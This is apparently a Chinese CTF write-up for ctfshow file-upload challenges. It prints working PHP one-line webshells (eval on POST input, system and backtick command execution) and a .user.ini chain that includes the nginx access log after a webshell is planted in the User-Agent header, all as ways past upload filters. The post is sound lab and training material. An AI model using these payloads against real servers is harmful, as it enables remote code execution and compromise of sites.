web31-文件上传

文件上传知识点
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME 检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
过关解析 

前两关是前端校验直接修改就行,一个是抓包绕过一个是修改mime类型

--------------------

第三关php后缀不行,尝试phP后缀是下载,尝试多后缀解析,php5不行,或者phtml,最后使用.user.ini文件解析

apach是.htaccess绕过,nginx是.user.ini

----------------------

第四关检测内容,使用短标签绕过

过滤了<?php使用

<?=@eval($_POST['x']);?>

---------------------

第五关检测内容,使用{}

过滤了[]

使用<?=@eval($_POST{'x'});?>

------------

过滤了{}

<?=system('tac ../fl*')?>       #直接使用system函数去读取fl开头的文件
----------------------

过滤了这个()符号

``使用运算符绕过

<? echo `tac /var/www/html/f*`?>      
---------------------------
过滤内容很严格
使用user.ini包含test.png,png中包含nginx的日志文件,日志文件中记录的ua头是可控的,只需要访问网站的时候把ua头修改为一句话即可。
.user.iniauto_prepend_file=test.png
test.png<?=include"/var/lo"."g/nginx/access.lo"."g"?>
---------------------------------
user.ini 使用思路

.user.ini内容写包含的图片木马,但是访问的时候要访问一个调用.user.ini的文件,在ctfshow靶场中是访问index.php,也就是upload/目录

包含nginx日志文件使用思路 
有点两种包含的意思 访问调用user.ini文件也就是upload--------->调用user.ini文件,user.ini调用test.pn,test.png调用日志文件,从而访问uplad就是访问日志文件
test.png内容,这里为了过滤截断拼接了,其实就是include"/var/log/nginx/access.log"
user.ini内容
访问upload,发现内容有ua头
ua头可控,随便访问一个目录,这个无所谓,host正确即可,然后ua头设置成一句话
再次访问upload发现说x变量内容没有声明
获取flag
总结:
使用条件就是需要能文件包含,只要能包含到日志文件即可,或者能目录穿越访问到日志文件也行,否则没用。这种手法是通用的,其他的中间件拥有日志记录功能的也可以利用;

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值